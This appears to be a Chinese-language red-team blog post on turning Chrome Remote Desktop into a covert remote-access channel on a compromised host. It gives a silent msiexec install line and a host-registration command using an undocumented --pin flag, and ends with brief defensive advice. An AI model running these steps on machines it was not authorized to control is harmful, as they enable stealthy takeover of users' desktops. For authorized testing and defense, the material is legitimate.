红队行动中滥用Chrome远程桌面的实战指南

本文详细介绍了如何在红队行动中利用Chrome远程桌面进行渗透测试,包括安装配置步骤、未文档化参数的使用技巧,以及防御建议,为安全研究人员提供实用操作指南。

红队行动中滥用Chrome远程桌面:实战指南

前言 - Chrome远程桌面

Chrome远程桌面本质上是一款需要从https://remotedesktop.google.com/下载并在客户端安装配置的软件。安装配置后,受感染主机会连接到服务器(云服务),您可以在Web门户中点击它以建立连接。很简洁吧?我认为是的。在后台,它使用Google开发的专有协议,内部称为Chromoting。根据我找到的信息,它通过HTTPS进行通信,并使用WebRTC传输数据。

开始使用Chrome远程桌面有哪些要求?您唯一需要的是一个Google账户,任何人都可以在这里免费创建。创建账户后,请前往这里下载软件并开始使用。另一个要求是安装程序需要在客户端具有本地管理员访问权限。

逐步指南 - 部署它

以下是关于如何部署Chrome远程桌面的分步指南,并附带一些提示。

1. 访问设置页面

第一步是导航到Chrome远程桌面设置页面,在“通过SSH设置”菜单选项下,点击开始,然后点击Windows的MSI文件以下载MSI文件。

图1 - 开始通过SSH设置

2. 下载MSI文件

图2 - 下载MSI文件

3. 运行安装程序

接下来,您需要在目标上安装MSI文件。具体操作方式取决于您可能拥有的C2或其他访问权限。为简单起见,我将假设您可以运行直接命令,并提供典型的msiexec安装程序命令。(请记住,您确实需要本地管理员权限):

1
msiexec /i chromeremotedesktophost.msi /qn

4. 启动Chrome远程桌面客户端

安装完成后,您可以返回Chrome远程桌面页面并点击下一步。向导随后会要求授权;点击授权按钮继续。

图3 - 授权

5. 复制加入命令

在屏幕上,您应该看到两个(2)Windows命令和一个(1)Debian命令。复制Windows(Cmd)命令并将其粘贴到记事本中。在将其发送到客户端之前,我们将在命令中添加一些内容。

图4 - 复制命令

6. 调整命令

您复制的命令应类似于:

1
"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME%

如果您运行此命令,问题在于这需要在GUI中执行一个额外步骤,即添加PIN码。示例如下:

图5 - 命令要求输入PIN码

7. 未文档化参数

为了克服这个问题,我们可以使用一个未文档化的参数(我尚未找到相关文档)。该未文档化参数是--pin=111111。请注意,PIN码至少需要六(6)位数字。完整命令应如下所示:

1
"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111

运行时应如下所示:

图6 - 在命令中提供PIN码

8. 连接到客户端

您现在应该会在Chrome远程桌面门户中看到客户端显示。点击它,在提示时提供PIN码,然后开始使用远程桌面——几乎像魔法一样。

图7 - 客户端在门户中可见

9. 远程连接到客户端

图8 - 远程连接到客户端 您需要登录并接管用户的会话,因此您需要知道用户的密码或以其他用户身份登录。理想情况下,在接管桌面之前,您应检查用户是否已下班回家。

结论

Chrome远程桌面确实需要一些工作才能运行,但在某些场景下进行红队操作时,它可以成为一个非常有用的工具。Chrome远程桌面具有相当流畅的体验,远程连接时延迟很小。

对于防御者,我始终推荐使用AppLocker或其他批准列表解决方案来防止未经授权的软件安装。如果您想查看软件是否已在环境中安装,它被称为Chrome远程桌面主机。

图9 - 在应用和功能中显示的Chrome桌面

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计